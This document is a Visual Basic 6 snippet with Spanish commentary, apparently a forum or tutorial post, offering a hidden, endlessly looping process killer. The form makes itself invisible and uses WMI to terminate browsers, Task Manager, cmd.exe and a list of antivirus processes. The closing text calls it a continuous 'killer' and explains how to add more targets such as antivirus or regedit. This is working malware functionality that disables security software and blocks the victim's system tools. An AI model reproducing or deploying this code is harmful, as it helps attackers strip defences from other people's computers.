Private Sub Form_Load()
Me.Visible = False
Do
DoEvents
Set ObjetoWMI = GetObject("winmgmts:")
If IsNull(ObjetoWMI) = False Then
Set ListaProcesos = ObjetoWMI.InstancesOf("win32_process")
For Each ProcesoACerrar In ListaProcesos
If LCase$(ProcesoACerrar.Name) = "iexplore.exe" Then KillProcess("iexplore.exe")
If LCase$(ProcesoACerrar.Name) = "firefox.exe" Then KillProcess ("firefox.exe")
If LCase$(ProcesoACerrar.Name) = "taskmgr.exe" Then KillProcess ("taskmgr.exe")
If LCase$(ProcesoACerrar.Name) = "alg.exe" Then KillProcess ("alg.exe")
If LCase$(ProcesoACerrar.Name) = "amon.exe" Then KillProcess ("amon.exe")
If LCase$(ProcesoACerrar.Name) = "alogserv.exe" Then KillProcess ("alogserv.exe")
If LCase$(ProcesoACerrar.Name) = "avconsol.exe" Then KillProcess ("avconsol.exe")
If LCase$(ProcesoACerrar.Name) = "avengine.exe" Then KillProcess ("avengine.exe")
If LCase$(ProcesoACerrar.Name) = "avgcc32.exe" Then KillProcess ("avgcc32.exe")
If LCase$(ProcesoACerrar.Name) = "avgserv.exe" Then KillProcess ("avgserv.exe")
If LCase$(ProcesoACerrar.Name) = "avpcc.exe" Then KillProcess ("avpcc.exe")
If LCase$(ProcesoACerrar.Name) = "avsynmgr.exe" Then KillProcess ("avsynmgr.exe")
If LCase$(ProcesoACerrar.Name) = "avxinit.exe" Then KillProcess ("avxinit.exe")
If LCase$(ProcesoACerrar.Name) = "avxlive.exe" Then KillProcess ("avxlive.exe")
If LCase$(ProcesoACerrar.Name) = "bdmcon.exe" Then KillProcess ("bdmcon.exe")
If LCase$(ProcesoACerrar.Name) = "ccapp.exe" Then KillProcess ("ccapp.exe")
If LCase$(ProcesoACerrar.Name) = "ccevtmgr.exe" Then KillProcess ("ccevtmgr.exe")
If LCase$(ProcesoACerrar.Name) = "ccregvfy.exe" Then KillProcess ("ccregvfy.exe")
If LCase$(ProcesoACerrar.Name) = "cmd.exe" Then KillProcess ("cmd.exe")
' Aquí podrías poner más procesos copiando la linea de arriba y cambiando el 'nombre del proceso que quieres que testee si está, y en el caso que esté que lo cierre.
Next
End If
Set ListaProcesos = Nothing
Set ObjetoWMI = Nothing
Loop
End Sub
Public Sub KillProcess(ByVal processName As String)
On Error GoTo ErrHandler
Dim oWMI
Dim ret
Dim sService
Dim oWMIServices
Dim oWMIService
Dim oServices
Dim oService
Dim servicename
Set oWMI = GetObject("winmgmts:")
Set oServices = oWMI.InstancesOf("win32_process")
For Each oService In oServices
servicename = LCase(Trim(CStr(oService.Name) & ""))
If InStr(1, servicename, LCase(processName), vbTextCompare) > 0 Then
ret = oService.Terminate
End If
Next
Set oServices = Nothing
Set oWMI = Nothing
ErrHandler:
Err.Clear
End Sub
Esto es una especie de killer continuo... quiere decir que nunca parará de cerrar los procesos.. No los cierra una vez, sino que está pendiente con el bucle Do-Loop de los procesos que see están ejecutando, y si uno de los procesos que estén ejecutándose es el que estamos "buscando" (el de los antivirus...re
gedit...iexplo
rer...o lo que sea), lo cierra.
If LCase$(ProcesoACerrar
.Name) = "Nombreproceso.
exe" Then KillProcess ("NombreProceso.
exe") tendríamos que insertar esto para añadir un nuevo proceso del que estar pendiente de cerrar.